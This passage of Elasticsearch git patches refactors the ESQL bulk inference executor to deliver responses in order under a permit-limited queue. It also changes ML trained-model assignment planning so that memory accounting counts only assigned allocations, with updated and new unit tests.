-                AbstractRunnable task = pendingRequestsQueue.poll();
+                            return;
+                        }
 
-                if (task == null) {
-                    permits.release();
-                    return;
-                }
+                        if (requests.hasNext() == false) {
+                            // This is the last request - mark bulk execution as finished
+                            // to prevent further processing attempts
+                            executionState.finish();
+                        }
 
-                try {
-                    executorService.execute(task);
-                } catch (Exception e) {
-                    task.onFailure(e);
-                    permits.release();
+                        final ActionListener<InferenceAction.Response> inferenceResponseListener = ActionListener.runAfter(
+                            ActionListener.wrap(
+                                r -> executionState.onInferenceResponse(bulkRequestItem.seqNo(), r),
+                                e -> executionState.onInferenceException(bulkRequestItem.seqNo(), e)
+                            ),
+                            () -> {
+                                // Release the permit we used
+                                permits.release();
+
+                                try {
+                                    synchronized (executionState) {
+                                        persistPendingResponses();
+                                    }
+
+                                    if (executionState.finished() && responseSent.compareAndSet(false, true)) {
+                                        onBulkCompletion();
+                                    }
+
+                                    if (responseSent.get()) {
+                                        // Response has already been sent
+                                        // No need to continue processing this bulk.
+                                        // Check if another bulk request is pending for execution.
+                                        BulkInferenceRequest nexBulkRequest = pendingBulkRequests.poll();
+                                        if (nexBulkRequest != null) {
+                                            executorService.execute(nexBulkRequest::executePendingRequests);
+                                        }
+                                        return;
+                                    }
+                                    if (executionState.finished() == false) {
+                                        // Execute any pending requests if any
+                                        if (recursionDepth > 100) {
+                                            executorService.execute(this::executePendingRequests);
+                                        } else {
+                                            this.executePendingRequests(recursionDepth + 1);
+                                        }
+                                    }
+                                } catch (Exception e) {
+                                    if (responseSent.compareAndSet(false, true)) {
+                                        completionListener.onFailure(e);
+                                    }
+                                }
+                            }
+                        );
+
+                        // Handle null requests (edge case in some iterators)
+                        if (bulkRequestItem.request() == null) {
+                            inferenceResponseListener.onResponse(null);
+                            return;
+                        }
+
+                        // Execute the inference request with proper origin context
+                        inferenceRunner.doInference(bulkRequestItem.request(), inferenceResponseListener);
+                    }
                 }
+            } catch (Exception e) {
+                executionState.addFailure(e);
             }
         }
 
         /**
-         * Add an inference task to the queue.
-         *
-         * @param request  The inference request.
-        *        * @param listener The listener to notify on response or failure.
+         * Processes and delivers buffered responses in order, ensuring proper sequencing.
+         * <p>
+         * This method is synchronized to ensure thread-safe access to the execution state
+         * and prevent concurrent response processing which could cause ordering issues.
+         * Processing stops immediately if a failure is detected to implement fail-fast behavior.
+         * </p>
          */
-        private void enqueueTask(InferenceAction.Request request, ActionListener<InferenceAction.Response> listener) {
-            try {
-                pendingRequestsQueue.put(createTask(request, listener));
-            } catch (Exception e) {
-                listener.onFailure(new IllegalStateException("An error occurred while adding the inference request to the queue", e));
+        private void persistPendingResponses() {
+            long persistedSeqNo = executionState.getPersistedCheckpoint();
+
+            while (persistedSeqNo < executionState.getProcessedCheckpoint()) {
+                persistedSeqNo++;
+                if (executionState.hasFailure() == false) {
+                    try {
+                        InferenceAction.Response response = executionState.fetchBufferedResponse(persistedSeqNo);
+                        responseConsumer.accept(response);
+                    } catch (Exception e) {
+                        executionState.addFailure(e);
+                    }
+                }
+                executionState.markSeqNoAsPersisted(persistedSeqNo);
             }
         }
 
         /**
-         * Wraps an inference request into an {@link AbstractRunnable} that releases its permit on completion and triggers any remaining
-         * queued tasks.
-         *
-         * @param request  The inference request.
-         * @param listener The listener to notify on completion.
-         * @return A runnable task encapsulating the request.
+         * Call the completion listener when all requests have completed.
          */
-        private AbstractRunnable createTask(InferenceAction.Request request, ActionListener<InferenceAction.Response> listener) {
-            final ActionListener<InferenceAction.Response> completionListener = ActionListener.runAfter(listener, () -> {
-                permits.release();
-                executePendingRequests();
-            });
-
-            return new AbstractRunnable() {
-                @Override
-                protected void doRun() {
-                    try {
-                        inferenceRunner.doInference(request, completionListener);
-                    } catch (Throwable e) {
-                        listener.onFailure(new RuntimeException("Unexpected failure while running inference", e));
-                    }
+        private void onBulkCompletion() {
+            if (executionState.hasFailure() == false) {
+                try {
+                    completionListener.onResponse(null);
+                    return;
+                } catch (Exception e) {
+                    executionState.addFailure(e);
                 }
+            }
 
-                @Override
-                public void onFailure(Exception e) {
-                    completionListener.onFailure(e);
-                }
-            };
+            completionListener.onFailure(executionState.getFailure());
         }
     }
 
-    private static ExecutorService executorService(ThreadPool threadPool) {
-        return threadPool.executor(EsqlPlugin.ESQL_WORKER_THREAD_POOL_NAME);
+    /**
+     * Encapsulates an inference request with its associated sequence number.
+     * <p>
+     * The sequence number is used for ordering responses and tracking completion
+     * in the bulk execution state.
+     * </p>
+     *
+     * @param seqNo   Unique sequence number for this request in the bulk operation
+     * @param request The actual inference request to execute
+     */
+    private record BulkRequestItem(long seqNo, InferenceAction.Request request) {
+
     }
 }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutorTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutorTests.java
index 7e44c681c6fc4..03d07adbd87cd 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutorTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutorTests.java
@@ -26,6 +26,8 @@
 import java.util.ArrayList;
 import java.util.Iterator;
 import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
 
 import static org.hamcrest.Matchers.allOf;
@@ -61,7 +63,7 @@ public void shutdownThreadPool() {
     }
 
     public void testSuccessfulExecution() throws Exception {
-        List<InferenceAction.Request> requests = randomInferenceRequestList(between(1, 1000));
+        List<InferenceAction.Request> requests = randomInferenceRequestList(between(1, 1_000));
         List<InferenceAction.Response> responses = randomInferenceResponseList(requests.size());
 
         InferenceRunner inferenceRunner = mockInferenceRunner(invocation -> {
@@ -141,6 +143,35 @@ public void testInferenceRunnerSometimesFails() throws Exception {
         });
     }
 
+    public void testParallelBulkExecution() throws Exception {
+        int batches = between(50, 100);
+        CountDownLatch latch = new CountDownLatch(batches);
+
+        for (int i = 0; i < batches; i++) {
+            runWithRandomDelay(() -> {
+                List<InferenceAction.Request> requests = randomInferenceRequestList(between(1, 1_000));
+                List<InferenceAction.Response> responses = randomInferenceResponseList(requests.size());
+
+                InferenceRunner inferenceRunner = mockInferenceRunner(invocation -> {
+                    runWithRandomDelay(() -> {
+                        ActionListener<InferenceAction.Response> l = invocation.getArgument(1);
+                        l.onResponse(responses.get(requests.indexOf(invocation.getArgument(0, InferenceAction.Request.class))));
+                    });
+                    return null;
+                });
+
+                ActionListener<List<InferenceAction.Response>> listener = ActionListener.wrap(r -> {
+                    assertThat(r, equalTo(responses));
+                    latch.countDown();
+                }, ESTestCase::fail);
+
+                bulkExecutor(inferenceRunner).execute(requestIterator(requests), listener);
+            });
+        }
+
+        latch.await(10, TimeUnit.SECONDS);
+    }
+
     private BulkInferenceExecutor bulkExecutor(InferenceRunner inferenceRunner) {
         return new BulkInferenceExecutor(inferenceRunner, threadPool, randomBulkExecutionConfig());
     }
@@ -195,11 +226,7 @@ private void runWithRandomDelay(Runnable runnable) {
         if (randomBoolean()) {
             runnable.run();
         } else {
-            threadPool.schedule(
-                runnable,
-                TimeValue.timeValueNanos(between(1, 1_000)),
-                threadPool.executor(EsqlPlugin.ESQL_WORKER_THREAD_POOL_NAME)
-            );
+            threadPool.schedule(runnable, TimeValue.timeValueNanos(between(1, 1_000)), threadPool.generic());
         }
     }
 }

From 1f8beed194d602cf826b4b497614820726400332 Mon Sep 17 00:00:00 2001
From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com>
Date: Thu, 31 Jul 2025 18:04:58 +0200
Subject: [PATCH 272/299] [ML] Make AssignmentPlan to consider only assigned
 allocations (#132170) (#132270)

A follow-up to #131990. This PR ensures that only assigned allocations and not current allocations are used in the memory requirements calculation in AssignmentPlan.

This change led to the simplification of the code in ZoneAwareAssignmentPlanner and TrainedModelRebalancer.

This PR also improves readability by adding comments, code documentation, renaming variables, and making the flow of if statements more straightforward.

Marking is a non-issue since the bug was already documented in #131990.
---
 .../TrainedModelAssignmentRebalancer.java     | 26 +++----
 .../assignment/planning/AssignmentPlan.java   | 48 +++++++------
 .../planning/AssignmentPlanner.java           | 40 ++++++++---
 .../planning/ZoneAwareAssignmentPlanner.java  | 39 +++++-----
 ...TrainedModelAssignmentRebalancerTests.java | 71 +++++++++++++++++++
 .../planning/AssignmentPlanTests.java         | 41 ++++++-----
 6 files changed, 182 insertions(+), 83 deletions(-)

diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java
index b59c3e99f0741..f523b4b086f35 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java
@@ -130,23 +130,15 @@ private static AssignmentPlan mergePlans(
         return finalPlanBuilder.build();
     }
 
-    private static void copyAssignments(
-        AssignmentPlan source,
-        AssignmentPlan.Builder dest,
-        Map<String, AssignmentPlan.Node> originalNodeById
-    ) {
-        for (AssignmentPlan.Deployment m : source.deployments()) {
-            Map<AssignmentPlan.Node, Integer> nodeAssignments = source.assignments(m).orElse(Map.of());
-            for (Map.Entry<AssignmentPlan.Node, Integer> assignment : nodeAssignments.entrySet()) {
-                AssignmentPlan.Node originalNode = originalNodeById.get(assignment.getKey().id());
-                dest.assignModelToNode(m, originalNode, assignment.getValue());
-                if (m.currentAllocationsByNodeId().containsKey(originalNode.id())) {
-                    // TODO (#101612) requiredMemory should be calculated by the AssignmentPlan.Builder
-                    // As the node has all its available memory we need to manually account memory of models with
-                    // current allocations.
-                    long requiredMemory = m.estimateMemoryUsageBytes(m.currentAllocationsByNodeId().get(originalNode.id()));
-                    dest.accountMemory(m, originalNode, requiredMemory);
-                }
+    /**
+     *  Transfers assignments from the source AssignmentPlan to the destination AssignmentPlan.Builder.
+     */
+    static void copyAssignments(AssignmentPlan source, AssignmentPlan.Builder dest, Map<String, AssignmentPlan.Node> originalNodeById) {
+        for (AssignmentPlan.Deployment deployment : source.deployments()) {
+            Map<AssignmentPlan.Node, Integer> sourceNodeAssignments = source.assignments(deployment).orElse(Map.of());
+            for (Map.Entry<AssignmentPlan.Node, Integer> sourceAssignment : sourceNodeAssignments.entrySet()) {
+                AssignmentPlan.Node node = originalNodeById.get(sourceAssignment.getKey().id());
+                dest.assignModelToNode(deployment, node, sourceAssignment.getValue());
             }
         }
     }
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java
index a8eb3bea499a1..a90a8cb9d5262 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java
@@ -223,23 +223,43 @@ public int compareTo(AssignmentPlan o) {
         return Comparator.comparing(AssignmentPlan::computeQuality).compare(this, o);
     }
 
+    /**
+     * Checks whether all deployments in the current {@link AssignmentPlan} have at least as many
+     * allocations as currently assigned.
+     */
     public boolean satisfiesCurrentAssignments() {
         return deployments().stream().allMatch(this::isSatisfyingCurrentAssignmentsForModel);
     }
 
+    /**
+     * Checks whether the current assignments for a given {@link Deployment} meet its allocation requirements.
+     *
+     * It ensures that the total number of allocations assigned to the deployment across all nodes is
+     * at least equal to the deployment's current assigned allocations.
+     */
     private boolean isSatisfyingCurrentAssignmentsForModel(Deployment m) {
         if (m.currentAllocationsByNodeId().isEmpty()) {
             return true;
         }
         Map<Node, Integer> nodeAssignments = assignments.get(m);
-        int currentAllocations = nodeAssignments.values().stream().mapToInt(Integer::intValue).sum();
-        return currentAllocations >= m.getCurrentAssignedAllocations();
+        int inPlanAssignedAllocations = nodeAssignments.values().stream().mapToInt(Integer::intValue).sum();
+        return inPlanAssignedAllocations >= m.getCurrentAssignedAllocations();
     }
 
-    public boolean satisfiesAllocations(Deployment m) {
-        return remainingModelAllocations.getOrDefault(m, 0) == 0;
+    /**
+     * Checks if the current assignments satisfy the deployment's allocation requirements.
+     * @param deployment the deployment to check
+     * @return true if the current assignments satisfy the deployment's allocation requirements, false otherwise
+     */
+    public boolean satisfiesAllocations(Deployment deployment) {
+        return remainingModelAllocations.getOrDefault(deployment, 0) == 0;
     }
 
+    /**
+     * Checks if the current assignments satisfy all deployments' allocation requirements. This means that
+     * each deployment has no remaining allocations left to assign.
+     * @return true if the current assignments satisfy the deployments' allocation requirements, false otherwise
+     */
     public boolean satisfiesAllModels() {
         return deployments().stream().allMatch(this::satisfiesAllocations);
     }
@@ -424,8 +444,7 @@ public Builder assignModelToNode(Deployment deployment, Node node, int allocatio
             if (allocations <= 0) {
                 return this;
             }
-            if (/*isAlreadyAssigned(deployment, node) == false
-                &&*/ requiredMemory > remainingNodeMemory.get(node)) {
+            if (requiredMemory > remainingNodeMemory.get(node)) {
                 throw new IllegalArgumentException(
                     "not enough memory on node ["
                         + node.id()
@@ -450,7 +469,7 @@ public Builder assignModelToNode(Deployment deployment, Node node, int allocatio
                 );
             }
 
-            assignments.get(deployment).compute(node, (n, remAllocations) -> remAllocations + allocations);
+            assignments.get(deployment).compute(node, (n, assignedAllocations) -> assignedAllocations + allocations);
             accountMemory(deployment, node, requiredMemory);
 
             if (deployment.priority == Priority.NORMAL) {
@@ -461,23 +480,10 @@ public Builder assignModelToNode(Deployment deployment, Node node, int allocatio
         }
 
         private int getAssignedAllocations(Deployment deployment, Node node) {
-            int currentAllocations = getCurrentAllocations(deployment, node);
-            int assignmentAllocations = assignments.get(deployment).get(node);
-            return currentAllocations + assignmentAllocations;
-        }
-
-        private static int getCurrentAllocations(Deployment m, Node n) {
-            return m.currentAllocationsByNodeId.containsKey(n.id()) ? m.currentAllocationsByNodeId.get(n.id()) : 0;
-        }
-
-        public void accountMemory(Deployment m, Node n) {
-            // TODO (#101612) remove or refactor unused method
-            long requiredMemory = getDeploymentMemoryRequirement(m, n, getCurrentAllocations(m, n));
-            accountMemory(m, n, requiredMemory);
+            return assignments.get(deployment).get(node);
         }
 
         public void accountMemory(Deployment m, Node n, long requiredMemory) {
-            // TODO (#101612) computation of required memory should be done internally
             remainingNodeMemory.computeIfPresent(n, (k, v) -> v - requiredMemory);
             if (remainingNodeMemory.containsKey(n) && remainingNodeMemory.get(n) < 0) {
                 throw new IllegalArgumentException("not enough memory on node [" + n.id() + "] to assign model [" + m.deploymentId() + "]");
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanner.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanner.java
index e1b6fe0de0b9e..bb7998035ff46 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanner.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanner.java
@@ -60,13 +60,26 @@ public AssignmentPlan computePlan() {
         return computePlan(true);
     }
 
-    public AssignmentPlan computePlan(boolean tryAssigningPreviouslyAssignedModels) {
+    /**
+     * Computes an {@link AssignmentPlan} for the given nodes and deployments.
+     * If {@code tryAssigningAllPreviouslyAllocatedModels} is true, then the plan will
+     * attempt to assign at least one allocation to previously assigned models.
+     * Otherwise, it will only ensure that deployments assigned to existing nodes will preserve at least one allocation
+     *
+     * @param tryAssigningAllPreviouslyAllocatedModels whether to do the best effort assigning previously assigned models somewhere
+     *                                                 with at least one allocation
+     * @return the computed assignment plan
+     */
+    public AssignmentPlan computePlan(boolean tryAssigningAllPreviouslyAllocatedModels) {
         logger.debug(() -> format("Computing plan for nodes = %s; deployments = %s", nodes, deployments));
 
         AssignmentPlan bestPlan;
         AssignmentPlan planSatisfyingCurrentAssignments = solveSatisfyingCurrentAssignments();
         logger.debug(() -> "Plan satisfying current assignments =\n" + planSatisfyingCurrentAssignments.prettyPrint());
-        if (planSatisfyingCurrentAssignments.arePreviouslyAssignedModelsAssigned() == false && tryAssigningPreviouslyAssignedModels) {
+        if (planSatisfyingCurrentAssignments.arePreviouslyAssignedModelsAssigned() || tryAssigningAllPreviouslyAllocatedModels == false) {
+            bestPlan = planSatisfyingCurrentAssignments;
+        } else {
+            // try to reuse any deployment that would otherwise drop to zero allocations
             AssignmentPlan planAllocatingAtLeastOnceModelsThatWerePreviouslyAllocated =
                 solveAllocatingAtLeastOnceModelsThatWerePreviouslyAllocated();
             logger.debug(
@@ -82,8 +95,6 @@ public AssignmentPlan computePlan(boolean tryAssigningPreviouslyAssignedModels)
                             ? planSatisfyingCurrentAssignments
                             : planAllocatingAtLeastOnceModelsThatWerePreviouslyAllocated;
             }
-        } else {
-            bestPlan = planSatisfyingCurrentAssignments;
         }
 
         logger.debug(() -> "Best plan =\n" + bestPlan.prettyPrint());
@@ -91,19 +102,30 @@ public AssignmentPlan computePlan(boolean tryAssigningPreviouslyAssignedModels)
         return bestPlan;
     }
 
+    /**
+     * Computes the best assignment plan from two strategies:
+     * 1. Preserving one allocation on current assignments, which is the most flexible
+     * 2. Preserving all allocations on current assignments, which is more conservative
+     * @return the best assignment plan
+     */
     private AssignmentPlan solveSatisfyingCurrentAssignments() {
         AssignmentPlan bestPlan;
         // First solve preserving one allocation per assignment because that is most flexible
         AssignmentPlan planKeepingOneAllocationOnCurrentAssignments = solveKeepingOneAllocationOnCurrentAssignments();
-        if (planKeepingOneAllocationOnCurrentAssignments.satisfiesCurrentAssignments() == false) {
+
+        if (planKeepingOneAllocationOnCurrentAssignments.satisfiesAllModels()) {
+            // If the plan satisfies all models, then we can use it as is
+            bestPlan = planKeepingOneAllocationOnCurrentAssignments;
+        } else if (planKeepingOneAllocationOnCurrentAssignments.satisfiesCurrentAssignments() == false) {
+            // If in the new assignment plan, some deployments have fewer allocations than in the current assignments,
+            // try explicitly preserving all allocations on current assignments.
             bestPlan = solvePreservingAllAllocationsOnCurrentAssignments();
-        } else if (planKeepingOneAllocationOnCurrentAssignments.satisfiesAllModels() == false) {
+        } else {
+            // Choose the best strategy according to {@link AssignmentPlan#computeQuality(AssignmentPlan)}
             AssignmentPlan planKeepingAllAllocationsOnCurrentAssignments = solvePreservingAllAllocationsOnCurrentAssignments();
             bestPlan = planKeepingAllAllocationsOnCurrentAssignments.compareTo(planKeepingOneAllocationOnCurrentAssignments) >= 0
                 ? planKeepingAllAllocationsOnCurrentAssignments
                 : planKeepingOneAllocationOnCurrentAssignments;
-        } else {
-            bestPlan = planKeepingOneAllocationOnCurrentAssignments;
         }
         return bestPlan;
     }
@@ -120,7 +142,7 @@ private AssignmentPlan solveAllocatingAtLeastOnceModelsThatWerePreviouslyAllocat
                     1,
                     m.threadsPerAllocation(),
                     // don't rely on the current allocation
-                    new HashMap<>(),
+                    Map.of(),
                     m.maxAssignedAllocations(),
                     m.getAdaptiveAllocationsSettings(),
                     m.perDeploymentMemoryBytes(),
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java
index 50684cfc6a416..64cd40fdc537d 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java
@@ -182,36 +182,39 @@ private AssignmentPlan computePlanAcrossAllNodes(List<AssignmentPlan> plans) {
         List<AssignmentPlan.Deployment> planDeployments = preserveAllAllocations.modelsPreservingAllocations();
         AssignmentPlan plan = new LinearProgrammingPlanSolver(planNodes, planDeployments).solvePlan(false);
         plan = preserveAllAllocations.mergePreservedAllocations(plan);
-        return swapOriginalModelsInPlan(plan, allNodes, modelsAccountingPlans);
+        return swapOriginalDeploymentsInPlan(plan, allNodes, modelsAccountingPlans);
     }
 
-    private AssignmentPlan swapOriginalModelsInPlan(
+    /**
+     * The method is responsible for reconstructing an AssignmentPlan
+     * by replacing the deployments and nodes in the given plan with their original counterparts.
+     * This ensures that the final plan uses the original objects while preserving the assignments
+     * and memory accounting from the input plan.
+     *
+     * @param plan AssignmentPlan to reconstruct with original models and nodes
+     * @param allNodes List of all nodes in the system, used to find original nodes
+     * @param planDeployments List of deployments in the plan, not the original deployments
+     * @return final plan with original models and nodes swapped in
+     */
+    private AssignmentPlan swapOriginalDeploymentsInPlan(
         AssignmentPlan plan,
         List<Node> allNodes,
         List<AssignmentPlan.Deployment> planDeployments
     ) {
-        final Map<String, AssignmentPlan.Deployment> originalModelById = deployments.stream()
+        final Map<String, AssignmentPlan.Deployment> originalDeploymentsById = deployments.stream()
             .collect(Collectors.toMap(AssignmentPlan.Deployment::deploymentId, Function.identity()));
         final Map<String, Node> originalNodeById = allNodes.stream().collect(Collectors.toMap(Node::id, Function.identity()));
-        AssignmentPlan.Builder planBuilder = AssignmentPlan.builder(allNodes, deployments);
-        for (AssignmentPlan.Deployment m : planDeployments) {
-            AssignmentPlan.Deployment originalDeployment = originalModelById.get(m.deploymentId());
-            Map<Node, Integer> nodeAssignments = plan.assignments(m).orElse(Map.of());
+        AssignmentPlan.Builder finalPlanBuilder = AssignmentPlan.builder(allNodes, deployments);
+
+        for (AssignmentPlan.Deployment planDeployment : planDeployments) {
+            AssignmentPlan.Deployment originalDeployment = originalDeploymentsById.get(planDeployment.deploymentId());
+            Map<Node, Integer> nodeAssignments = plan.assignments(planDeployment).orElse(Map.of());
             for (Map.Entry<Node, Integer> assignment : nodeAssignments.entrySet()) {
                 Node originalNode = originalNodeById.get(assignment.getKey().id());
-                planBuilder.assignModelToNode(originalDeployment, originalNode, assignment.getValue());
-                if (originalDeployment.currentAllocationsByNodeId().containsKey(originalNode.id())) {
-                    // TODO (#101612) requiredMemory should be calculated by the AssignmentPlan.Builder
-                    // As the node has all its available memory we need to manually account memory of models with
-                    // current allocations.
-                    long requiredMemory = originalDeployment.estimateMemoryUsageBytes(
-                        originalDeployment.currentAllocationsByNodeId().get(originalNode.id())
-                    );
-                    planBuilder.accountMemory(m, originalNode, requiredMemory);
-                }
+                finalPlanBuilder.assignModelToNode(originalDeployment, originalNode, assignment.getValue());
             }
         }
-        return planBuilder.build();
+        return finalPlanBuilder.build();
     }
 
     private Map<String, Map<String, Integer>> mergeAllocationsByNodeIdByDeploymentId(List<AssignmentPlan> plans) {
diff --git a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancerTests.java b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancerTests.java
index a2b321a332ae1..b873493100798 100644
--- a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancerTests.java
+++ b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancerTests.java
@@ -21,6 +21,7 @@
 import org.elasticsearch.xpack.core.ml.inference.assignment.TrainedModelAssignment;
 import org.elasticsearch.xpack.core.ml.inference.assignment.TrainedModelAssignmentMetadata;
 import org.elasticsearch.xpack.ml.MachineLearning;
+import org.elasticsearch.xpack.ml.inference.assignment.planning.AssignmentPlan;
 import org.elasticsearch.xpack.ml.job.NodeLoad;
 
 import java.util.ArrayList;
@@ -28,6 +29,8 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Optional;
+import java.util.function.Function;
+import java.util.stream.Collectors;
 
 import static org.hamcrest.Matchers.aMapWithSize;
 import static org.hamcrest.Matchers.anEmptyMap;
@@ -1127,6 +1130,74 @@ public void testRebalance_GivenFirstModelToAdd_GivenScalingProcessorSetting() {
         assertThat(assignment.getReason().isPresent(), is(false));
     }
 
+    public void testCopyAssignments() {
+        // Create test nodes
+        AssignmentPlan.Node node1 = new AssignmentPlan.Node("node-1", ByteSizeValue.ofGb(1).getBytes(), 4);
+        AssignmentPlan.Node node2 = new AssignmentPlan.Node("node-2", ByteSizeValue.ofGb(1).getBytes(), 8);
+        List<AssignmentPlan.Node> nodes = List.of(node1, node2);
+
+        // Create test deployments
+        AssignmentPlan.Deployment deployment1 = new AssignmentPlan.Deployment(
+            "deployment-1",
+            "model-1",
+            ByteSizeValue.ofMb(100).getBytes(),
+            2,
+            1,
+            Map.of(),
+            0,
+            null,
+            Priority.NORMAL,
+            0,
+            0
+        );
+        AssignmentPlan.Deployment deployment2 = new AssignmentPlan.Deployment(
+            "deployment-2",
+            "model-2",
+            ByteSizeValue.ofMb(100).getBytes(),
+            1,
+            2,
+            Map.of(),
+            0,
+            null,
+            Priority.LOW,
+            0,
+            0
+        );
+        List<AssignmentPlan.Deployment> deployments = List.of(deployment1, deployment2);
+
+        // Create source plan and assign models to nodes
+        AssignmentPlan.Builder sourceBuilder = AssignmentPlan.builder(nodes, deployments);
+        sourceBuilder.assignModelToNode(deployment1, node1, 1);
+        sourceBuilder.assignModelToNode(deployment1, node2, 1);
+        sourceBuilder.assignModelToNode(deployment2, node2, 1);
+        AssignmentPlan source = sourceBuilder.build();
+
+        // Create destination plan
+        AssignmentPlan.Builder dest = AssignmentPlan.builder(nodes, deployments);
+
+        // Create map of node IDs to original nodes
+        Map<String, AssignmentPlan.Node> originalNodeById = nodes.stream()
+            .collect(Collectors.toMap(AssignmentPlan.Node::id, Function.identity()));
+
+        // Call copyAssignments
+        TrainedModelAssignmentRebalancer.copyAssignments(source, dest, originalNodeById);
+
+        // Build the destination plan
+        AssignmentPlan result = dest.build();
+
+        // Verify assignments
+        Optional<Map<AssignmentPlan.Node, Integer>> deployment1Assignments = result.assignments(deployment1);
+        assertThat(deployment1Assignments.isPresent(), is(true));
+        assertThat(deployment1Assignments.get().size(), equalTo(2));
+        assertThat(deployment1Assignments.get().get(node1), equalTo(1));
+        assertThat(deployment1Assignments.get().get(node2), equalTo(1));
+
+        Optional<Map<AssignmentPlan.Node, Integer>> deployment2Assignments = result.assignments(deployment2);
+        assertThat(deployment2Assignments.isPresent(), is(true));
+        assertThat(deployment2Assignments.get().size(), equalTo(1));
+        assertThat(deployment2Assignments.get().get(node2), equalTo(1));
+    }
+
     private static StartTrainedModelDeploymentAction.TaskParams lowPriorityParams(String deploymentId, long modelSize) {
         return lowPriorityParams(deploymentId, deploymentId, modelSize);
     }
diff --git a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanTests.java b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanTests.java
index 93e247dc898c4..c7f166a19bb69 100644
--- a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanTests.java
+++ b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanTests.java
@@ -16,6 +16,7 @@
 import java.util.Map;
 
 import static org.hamcrest.Matchers.contains;
+import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.greaterThan;
 import static org.hamcrest.Matchers.is;
@@ -131,7 +132,7 @@ public void testAssignModelToNode_GivenNewPlanSatisfiesCurrentAssignment() {
             builder.assignModelToNode(m, n, 1);
 
             assertThat(builder.getRemainingCores(n), equalTo(2));
-            assertThat(builder.getRemainingMemory(n), equalTo(ByteSizeValue.ofMb(350).getBytes()));
+            assertThat(builder.getRemainingMemory(n), equalTo(ByteSizeValue.ofMb(50).getBytes()));
             assertThat(builder.getRemainingAllocations(m), equalTo(1));
             assertThat(builder.getRemainingThreads(m), equalTo(2));
 
@@ -160,7 +161,7 @@ public void testAssignModelToNode_GivenNewPlanSatisfiesCurrentAssignment() {
             builder.assignModelToNode(m, n, 1);
 
             assertThat(builder.getRemainingCores(n), equalTo(2));
-            assertThat(builder.getRemainingMemory(n), equalTo(ByteSizeValue.ofMb(325).getBytes()));
+            assertThat(builder.getRemainingMemory(n), equalTo(ByteSizeValue.ofMb(0).getBytes()));
             assertThat(builder.getRemainingAllocations(m), equalTo(1));
             assertThat(builder.getRemainingThreads(m), equalTo(2));
 
@@ -184,7 +185,9 @@ public void testAssignModelToNode_GivenNewPlanDoesNotSatisfyCurrentAssignment()
             builder.assignModelToNode(m, n, 1);
 
             assertThat(builder.getRemainingCores(n), equalTo(2));
-            assertThat(builder.getRemainingMemory(n), equalTo(ByteSizeValue.ofMb(300).getBytes()));
+            // Since perDeployment memory is not specified, we compute the base memory usage.
+            // The remaining memory is 300MB - (240 MB + 2*30 MB) = 0MB
+            assertThat(builder.getRemainingMemory(n), equalTo(ByteSizeValue.ofMb(0).getBytes()));
             assertThat(builder.getRemainingAllocations(m), equalTo(1));
             assertThat(builder.getRemainingThreads(m), equalTo(2));
 
@@ -214,7 +217,11 @@ public void testAssignModelToNode_GivenNewPlanDoesNotSatisfyCurrentAssignment()
             builder.assignModelToNode(m, n, 1);
 
             assertThat(builder.getRemainingCores(n), equalTo(2));
-            assertThat(builder.getRemainingMemory(n), equalTo(ByteSizeValue.ofMb(275).getBytes()));
